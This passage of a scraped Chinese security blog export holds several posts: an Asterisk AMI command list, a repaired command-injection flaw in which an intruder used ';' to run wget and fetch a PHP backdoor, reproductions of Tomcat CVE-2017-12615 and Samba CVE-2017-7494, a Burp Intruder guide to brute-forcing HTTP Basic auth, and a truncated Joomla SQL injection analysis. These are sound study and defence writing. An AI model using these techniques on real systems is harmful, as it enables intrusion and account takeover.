event.\nUpdateConfig     config,all      Update basic configuration.\nSendText         call,all        Send text message to channel.\nListCommands     \u003cnone\u003e          List available manager commands.\nMailboxCount     call,reporting, Check Mailbox Message Count.\nMailboxStatus    call,reporting, Check mailbox.\nAbsoluteTimeout  system,call,all Set absolute timeout.\nExtensionState   call,reporting, Check Extension Status.\nCommand          command,all     Execute Asterisk CLI Command.\nOriginate        originate,all   Originate a call.\nAtxfer           call,all        Attended transfer.\nRedirect         call,all        Redirect (transfer) a call.\nListCategories   config,all      List categories in configuration file.\nCreateConfig     config,all      Creates an empty file in the configuration directory.\nStatus           system,call,rep List channel status.\nGetConfigJSON    system,config,a Retrieve configuration (JSON format).\nGetConfig        system,config,a Retrieve configuration.\nGetvar           call,reporting, Gets a channel variable.\nSetvar           call,all        Set a channel variable.\nPing             \u003cnone\u003e          Keepalive command.\nHangup           system,call,all Hangup channel.\nChallenge        \u003cnone\u003e          Generate Challenge for MD5 Auth.\nLogin            \u003cnone\u003e          Login Manager.\nLogoff           \u003cnone\u003e          Logoff Manager.\nEvents           \u003cnone\u003e          Control Event Flow.\nDataGet          \u003cnone\u003e          Retrieve the data api tree.\u003c/p\u003e","title":"记一次服务器被入侵后的分析"},{"content":"前些天一网友服务器被入侵种马帮忙查看修复漏洞，在删除后门之后通过查询服务器日志找到入侵者留下的攻击痕迹。如下图：（图为后补，我也不知道为啥他要wget baidu.com）\n图1-服务器日志\n通过日志可以发现漏洞存在于fw.php文件，入侵者通过执行wget 命令远程下载入侵者服务器上名为1.php的一句话后门。找到了问题所在接下来查看fw.php这个文件：\n图2-修复前\n通过图2可以看到该漏洞是因为没有严格限制用户提交的数据，入侵者通过“；”截断了CMD命令，从而导致执行了后面的wget命令。\n所以我们需要对用户递交的数据进行过滤，让用户只能提交正确的数据（IP地址）。通过定义一个isOk_ip()函数，对用户提交的数据利用正则表达式过滤，便避免了这个漏洞。\n修复后代码如下图：\n图2-修复后\n","permalink":"https://www.lucien116.com/archives/371/","summary":"\u003cp\u003e前些天一网友服务器被入侵种马帮忙查看修复漏洞，在删除后门之后通过查询服务器日志找到入侵者留下的攻击痕迹。如下图：（图为后补，我也不知道为啥他要wget baidu.com）\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/11/1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/11/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1-服务器日志\u003c/p\u003e\n\u003cp\u003e通过日志可以发现漏洞存在于fw.php文件，入侵者通过执行wget 命令远程下载入侵者服务器上名为1.php的一句话后门。找到了问题所在接下来查看fw.php这个文件：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/11/2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/11/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图2-修复前\u003c/p\u003e\n\u003cp\u003e通过图2可以看到该漏洞是因为没有严格限制用户提交的数据，入侵者通过“；”截断了CMD命令，从而导致执行了后面的wget命令。\u003c/p\u003e\n\u003cp\u003e所以我们需要对用户递交的数据进行过滤，让用户只能提交正确的数据（IP地址）。通过定义一个isOk_ip()函数，对用户提交的数据利用正则表达式过滤，便避免了这个漏洞。\u003c/p\u003e\n\u003cp\u003e修复后代码如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/11/3.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/11/3.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图2-修复后\u003c/p\u003e","title":"记一远程命令执行漏洞的修补过程"},{"content":"一、漏洞描述： 2017年9月19日，Apache Tomcat官方 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615）\n1.1CVE-2017-12616 ：信息泄露漏洞\n当 Tomcat 中使用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。\n1.2 远程代码执行漏洞（ CVE-2017-12615 ）\n如果Apache Tomcat服务器上启用了HTTP PUT请求方法（将web.xml中 readonly 初始化参数由默认值设置为 false），则可能存在远程代码执行漏洞。攻击者可以通过该漏洞上传jsp文件。\n二、影响范围： 2.1信息泄露漏洞（CVE-2017-12616）影响范围：\nApache Tomcat 7.0.0 – 7.0.80\n2.2远程代码执行漏洞（CVE-2017-12615）影响范围：\nApache Tomcat 5.x – 9.x\n三、漏洞复现： 3.1 Apache Tomcat/7.0.79\n修改/conf/web.xml\nReadonly的含义：当设置为false时,PUT、DELETE方法生效\n发送PUT请求包\n思路可参考https://msdn.microsoft.com/en-us/library/dn393272.aspx\n成功创建jsp文件\n3.2 Apache Tomcat/7.0.81\n上传失败\n由于tomcat 对jsp做了一定处理。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性，前面的流程中 topsec.jsp/ 识别为非jsp文件，而后续保存文件的时候，文件名不接受/字符，故而忽略掉。\n修改文件名格式后再次提交请求：\n3.3 Apache Tomcat/8.5.20 Linux\n经过测试此方法在Linux上同样成功\n四、修复方法： 注释掉web.xml的readonly配置，或者设置readonly=true\n五、参考文档 http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81\nhttps://msdn.microsoft.com/en-us/library/dn393272.aspx\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12615\n","permalink":"https://www.lucien116.com/archives/369/","summary":"\u003ch3 id=\"一漏洞描述\"\u003e\u003cstrong\u003e一、漏洞描述：\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e2017年9月19日，Apache Tomcat官方 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615）\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.1CVE-2017-12616\u003c/strong\u003e \u003cstrong\u003e：信息泄露漏洞\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e当 Tomcat 中使用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.2\u003c/strong\u003e \u003cstrong\u003e远程代码执行漏洞（\u003c/strong\u003e \u003cstrong\u003eCVE-2017-12615\u003c/strong\u003e \u003cstrong\u003e）\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e如果Apache Tomcat服务器上启用了HTTP PUT请求方法（将web.xml中 readonly 初始化参数由默认值设置为 false），则可能存在远程代码执行漏洞。攻击者可以通过该漏洞上传jsp文件。\u003c/p\u003e\n\u003ch3 id=\"二影响范围\"\u003e\u003cstrong\u003e二、影响范围：\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e2.1信息泄露漏洞（CVE-2017-12616）影响范围：\u003c/p\u003e\n\u003cp\u003eApache Tomcat 7.0.0 – 7.0.80\u003c/p\u003e\n\u003cp\u003e2.2远程代码执行漏洞（CVE-2017-12615）影响范围：\u003c/p\u003e\n\u003cp\u003eApache Tomcat 5.x – 9.x\u003c/p\u003e\n\u003ch3 id=\"三漏洞复现\"\u003e\u003cstrong\u003e三、漏洞复现：\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e3.1 Apache Tomcat/7.0.79\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/1.png\"\u003e\u003cimg alt=\"1\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e修改/conf/web.xml\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/2.png\"\u003e\u003cimg alt=\"2\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eReadonly的含义：当设置为false时,PUT、DELETE方法生效\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/3.png\"\u003e\u003cimg alt=\"3\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/3.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e发送PUT请求包\u003c/p\u003e\n\u003cp\u003e思路可参考https://msdn.microsoft.com/en-us/library/dn393272.aspx\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/4.png\"\u003e\u003cimg alt=\"4\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/4.png\"\u003e\u003c/a\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/5.png\"\u003e\u003cimg alt=\"5\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/5.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e成功创建jsp文件\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/6.png\"\u003e\u003cimg alt=\"6\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/6.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e3.2  Apache Tomcat/7.0.81\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/7.png\"\u003e\u003cimg alt=\"7\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/7.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e上传失败\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/8.png\"\u003e\u003cimg alt=\"8\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/8.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e由于tomcat 对jsp做了一定处理。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性，前面的流程中 topsec.jsp/ 识别为非jsp文件，而后续保存文件的时候，文件名不接受/字符，故而忽略掉。\u003c/p\u003e\n\u003cp\u003e修改文件名格式后再次提交请求：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/9.png\"\u003e\u003cimg alt=\"9\" loading=\"lazy\" src=\"http://alphalab1-wordpress.stor.sinaapp.com/uploads/2017/09/9.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e3.3  Apache Tomcat/8.5.20   Linux\u003c/p\u003e","title":"Apache Tomcat 信息泄露漏洞预警及远程代码执行漏洞复现"},{"content":"1、alert(\u0026quot;\u0026quot;) 弹窗：提示\nalert弹窗使我们写js时使用最多的一种弹窗，主要作为提示，一般我们经常用来测试js某段代码是否有没有出错。\n例：//弹出对话框并输出一段提示信息\nfunction prompt() {\n//弹出一个对话框\nalert(\u0026ldquo;提示信息！\u0026rdquo;);\n}\n2、confirm(\u0026quot;\u0026quot;) 弹窗：判断是否进行某一个操作\nconfirm() 方法主要用于显示一个带有指定消息和 OK 及取消按钮的对话框。如用户点击确定按钮，则返回 true。如点击取消，则返回 false。在点击确定或取消按钮关闭之前，它将阻止用户对浏览器的所有输入。\n例：//弹出一个询问框，有确定和取消按钮\nfunction firm() {\n//利用对话框返回的值 （true 或者 false）\nif (confirm(\u0026ldquo;你确定提交吗？\u0026rdquo;)) {\nalert(\u0026ldquo;点击了确定\u0026rdquo;);\n}\nelse {\nalert(\u0026ldquo;点击了取消\u0026rdquo;);\n}\n}\n3、prompt(\u0026quot;\u0026quot;) 弹窗：用于输入文本内容\nprompt(\u0026quot;\u0026quot;) 弹窗方法用于显示可提示用户进行输入的对话框。如用户单击取消按钮，则返回 null。如单击确认按钮，则返回输入的文本。在点击确定或取消关闭之前，它将阻止用户对浏览器的所有输入。在调用 prompt() 时，在用户作出响应之前，不会执行下一条语句。\n例：//弹出一个输入框，输入一段文字，可以提交\nfunction prom() {\nvar name = prompt(\u0026ldquo;请输入您的名字\u0026rdquo;, \u0026ldquo;\u0026rdquo;); //将输入的内容赋给变量 name ，\n//这里需要注意的是，prompt有两个参数，前面是提示的话，后面是当对话框出来后，在对话框里的默认值\nif (name)//如果返回的有内容\n{\nalert(\u0026ldquo;欢迎您：\u0026rdquo; + name)\n}\n}\n","permalink":"https://www.lucien116.com/archives/361/","summary":"\u003cp\u003e\u003cstrong\u003e1、alert(\u0026quot;\u0026quot;) 弹窗：提示\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ealert弹窗使我们写js时使用最多的一种弹窗，主要作为提示，一般我们经常用来测试js某段代码是否有没有出错。\u003c/p\u003e\n\u003cp\u003e例：//弹出对话框并输出一段提示信息\u003c/p\u003e\n\u003cp\u003efunction prompt() {\u003c/p\u003e\n\u003cp\u003e//弹出一个对话框\u003c/p\u003e\n\u003cp\u003ealert(\u0026ldquo;提示信息！\u0026rdquo;);\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2、confirm(\u0026quot;\u0026quot;) 弹窗：判断是否进行某一个操作\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003econfirm() 方法主要用于显示一个带有指定消息和 OK 及取消按钮的对话框。如用户点击确定按钮，则返回 true。如点击取消，则返回 false。在点击确定或取消按钮关闭之前，它将阻止用户对浏览器的所有输入。\u003c/p\u003e\n\u003cp\u003e例：//弹出一个询问框，有确定和取消按钮\u003c/p\u003e\n\u003cp\u003efunction firm() {\u003c/p\u003e\n\u003cp\u003e//利用对话框返回的值 （true 或者 false）\u003c/p\u003e\n\u003cp\u003eif (confirm(\u0026ldquo;你确定提交吗？\u0026rdquo;)) {\u003c/p\u003e\n\u003cp\u003ealert(\u0026ldquo;点击了确定\u0026rdquo;);\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003eelse {\u003c/p\u003e\n\u003cp\u003ealert(\u0026ldquo;点击了取消\u0026rdquo;);\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3、prompt(\u0026quot;\u0026quot;) 弹窗：用于输入文本内容\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eprompt(\u0026quot;\u0026quot;) 弹窗方法用于显示可提示用户进行输入的对话框。如用户单击取消按钮，则返回 null。如单击确认按钮，则返回输入的文本。在点击确定或取消关闭之前，它将阻止用户对浏览器的所有输入。在调用 prompt() 时，在用户作出响应之前，不会执行下一条语句。\u003c/p\u003e\n\u003cp\u003e例：//弹出一个输入框，输入一段文字，可以提交\u003c/p\u003e\n\u003cp\u003efunction prom() {\u003c/p\u003e\n\u003cp\u003evar name = prompt(\u0026ldquo;请输入您的名字\u0026rdquo;, \u0026ldquo;\u0026rdquo;); //将输入的内容赋给变量 name ，\u003c/p\u003e\n\u003cp\u003e//这里需要注意的是，prompt有两个参数，前面是提示的话，后面是当对话框出来后，在对话框里的默认值\u003c/p\u003e\n\u003cp\u003eif (name)//如果返回的有内容\u003c/p\u003e\n\u003cp\u003e{\u003c/p\u003e\n\u003cp\u003ealert(\u0026ldquo;欢迎您：\u0026rdquo; + name)\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e\n\u003cp\u003e}\u003c/p\u003e","title":"前端常用的几种弹窗函数"},{"content":"常规的对username/passwprd进行payload测试，我想大家应该没有什么问题，但 对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题，很多朋友疑惑了.\n之前，我记得我介绍过burpsuite的intruder功能(BurpSuite教程与技巧之SQL Injection)，想必很多人没什么印象，在此，以HTTP brute重提intruder功能.\n以下面案例进行说明(只作演示之用，具体以自己的目标为准)\nAuth=dXNlcjpwYXNzd29yZA==处，也就是我们的关键位置.\n那么具体该如何做呢?大致操作过程如下:\n1.解密base64字符串 2.生成测试用的payload 3.利用payload进行测试 1.解密验证用的base64字符串 解密后的字符串为:\nAuth=user:password 问题来了，针对user:password这种形式的字符串，我们该如何设置payload呢?\n想必很多人在此处了费尽心思。为了解决这个问题，接下来请看第二部分。\n2.生成测试用的payload\n对于这种格式，无法利用burpsuite顺利的完成测试，那个就需要丰富对应的payload了.\n我的做法就是，利用burpsuite生成我要的payload文本.\nAuth=§user§§:§§password§ 设置3处payloads，\n1 ------ §user§ 2 ------ §:§ 3 ------ §password§ 然后根据intruder自带的battering ram/pitchfork/cluster bomb生成payloads(根据自己的需求生成)\n我在此处选择以cluster bomb为例，利用intruder生成需要的payloads，然后保存到文本文件中.\n3.利用payload进行测试\n测试的时候，我们选用sniper，我们只需一个payload变量\n若有不足之处，欢迎指正.\n","permalink":"https://www.lucien116.com/archives/356/","summary":"\u003cp\u003e\u003cstrong\u003e常规的对username/passwprd进行payload测试，我想大家应该没有什么问题，但\u003c/strong\u003e \u003cstrong\u003e对于Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=这样的问题，很多朋友疑惑了.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e之前，我记得我介绍过burpsuite的intruder功能(\u003ca href=\"http://www.freebuf.com/articles/5560.html\"\u003eBurpSuite教程与技巧之SQL Injection\u003c/a\u003e)，想必很多人没什么印象，在此，以HTTP brute重提intruder功能.\u003c/p\u003e\n\u003cp\u003e以下面案例进行说明(只作演示之用，具体以自己的目标为准)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226123225_18600.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226123225_18600.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAuth=dXNlcjpwYXNzd29yZA==处，也就是我们的关键位置.\u003c/p\u003e\n\u003cp\u003e那么具体该如何做呢?大致操作过程如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e1.\u003c/span\u003e\u003cspan class=\"err\"\u003e解密\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64字符串\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e2.\u003c/span\u003e\u003cspan class=\"err\"\u003e生成测试用的\u003c/span\u003e\u003cspan class=\"n\"\u003epayload\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e3.\u003c/span\u003e\u003cspan class=\"err\"\u003e利用\u003c/span\u003e\u003cspan class=\"n\"\u003epayload进行测试\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e1.解密验证用的base64字符串\u003c/strong\u003e \u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226123559_66236.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226123559_66236.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e解密后的字符串为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eAuth=user:password\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e问题来了，针对user:password这种形式的字符串，我们该如何设置payload呢?\u003c/p\u003e\n\u003cp\u003e想必很多人在此处了费尽心思。为了解决这个问题，接下来请看第二部分。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2.生成测试用的payload\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e对于这种格式，无法利用burpsuite顺利的完成测试，那个就需要丰富对应的payload了.\u003c/p\u003e\n\u003cp\u003e我的做法就是，利用burpsuite生成我要的payload文本.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eAuth=§user§§:§§password§\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e设置3处payloads，\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e1 ------ §user§\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e2 ------ §:§\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e3 ------ §password§\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后根据intruder自带的battering ram/pitchfork/cluster bomb生成payloads(根据自己的需求生成)\u003c/p\u003e\n\u003cp\u003e我在此处选择以cluster bomb为例，利用intruder生成需要的payloads，然后保存到文本文件中.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226125136_97047.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226125136_97047.png\"\u003e\u003c/a\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226125307_52071.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226125307_52071.png\"\u003e\u003c/a\u003e\u003cstrong\u003e3.利用payload进行测试\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e测试的时候，我们选用sniper，我们只需一个payload变量\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226125606_76545.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226125606_76545.png\"\u003e\u003c/a\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226125833_34487.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226125833_34487.png\"\u003e\u003c/a\u003e\u003ca href=\"http://image.3001.net/uploads/image/20130226/20130226125921_64121.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://image.3001.net/uploads/image/20130226/20130226125921_64121.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e若有不足之处，欢迎指正.\u003c/p\u003e","title":"Burpsuite教程与技巧之HTTP brute暴力破解"},{"content":"作者: cyg07 \u0026amp;\u0026amp; redrain\n概述 2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。\n技术分析 如官方所描述，该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限（samba默认是root用户执行的）。\n从Patch来看的话，is_known_pipename函数的pipename中存在路径符号会有问题：\n再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了：\n具体攻击过程：\n构造一个有’/’ 符号的管道名或路径名，如 “/home/toor/cyg07.so” 通过smb的协议主动让服务器smb返回该FID 后续直接请求这个FID就进入上面所说的恶意流程 具体攻击结果如下：\n尝试加载　“/home/toor/cyg07.so” 恶意so 其中so 代码如下(加载时会调用　samba_init_module 导出函数) 最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限) 解决方案 360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作，\n使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新； 使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作； 缓解策略：用户可以通过在smb.conf的[global]节点下增加　nt pipe support = no 选项，然后重新启动samba服务， 以此达到缓解该漏洞的效果。\n","permalink":"https://www.lucien116.com/archives/353/","summary":"\u003cp\u003e作者: cyg07 \u0026amp;\u0026amp; redrain\u003c/p\u003e\n\u003ch2 id=\"概述\"\u003e概述\u003c/h2\u003e\n\u003cp\u003e2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。\u003c/p\u003e\n\u003ch2 id=\"技术分析\"\u003e技术分析\u003c/h2\u003e\n\u003cp\u003e如官方所描述，该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限（samba默认是root用户执行的）。\u003c/p\u003e\n\u003cp\u003e从Patch来看的话，is_known_pipename函数的pipename中存在路径符号会有问题：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/wp-content/uploads/2017/05/1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/wp-content/uploads/2017/05/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/wp-content/uploads/2017/05/2.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/wp-content/uploads/2017/05/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e具体攻击过程：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e构造一个有’/’ 符号的管道名或路径名，如 “/home/toor/cyg07.so”\u003c/li\u003e\n\u003cli\u003e通过smb的协议主动让服务器smb返回该FID\u003c/li\u003e\n\u003cli\u003e后续直接请求这个FID就进入上面所说的恶意流程\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体攻击结果如下：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e尝试加载　“/home/toor/cyg07.so” 恶意so \u003ca href=\"http://blogs.360.cn/wp-content/uploads/2017/05/3.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/wp-content/uploads/2017/05/3.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e其中so 代码如下(加载时会调用　samba_init_module 导出函数) \u003ca href=\"http://blogs.360.cn/wp-content/uploads/2017/05/4.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/wp-content/uploads/2017/05/4.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限) \u003ca href=\"http://blogs.360.cn/wp-content/uploads/2017/05/5.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/wp-content/uploads/2017/05/5.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"解决方案\"\u003e解决方案\u003c/h2\u003e\n\u003cp\u003e360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作，\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新；\u003c/li\u003e\n\u003cli\u003e使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作；\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e缓解策略：用户可以通过在smb.conf的[global]节点下增加　nt pipe support = no 选项，然后重新启动samba服务， 以此达到缓解该漏洞的效果。\u003c/p\u003e","title":"Samba远程代码执行漏洞(CVE-2017-7494)分析"},{"content":"Author: p0wd3r (知道创宇404安全实验室) Date: 2017-05-18\n0x00 漏洞概述 漏洞简介 Joomla于5月17日发布了新版本3.7.1,（ https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html），本次更新中修复一个高危SQL注入漏洞（ https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html），成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。\n漏洞影响 未授权状态下SQL注入\n影响版本： 3.7.0\n0x01 漏洞复现 Joomla 在 3.7.0 中新增了一个 com_field 组件，其控制器的构造函数如下，在 components/com_fields/controller.php 中： 可以看到当访问的 view 是 fields， layout 是 modal 的时候，程序会从 JPATH_ADMINISTRATOR 中加载 com_fields，这就意味着普通用户可以通过这样的请求来使用管理员的 com_fields。\n接下来我们看管理员的 com_fields 组件，我们来到 administrator/components/com_fields/models/fields.php，其中的 getListQuery 的部分代码如下：\n程序通过 $this-\u0026gt;getState 取到 list.fullordering，然后使用 $db-\u0026gt;escape 处理后传入 $query-\u0026gt;order 函数，mysqli的 escape 函数代码如下：\n这里调用 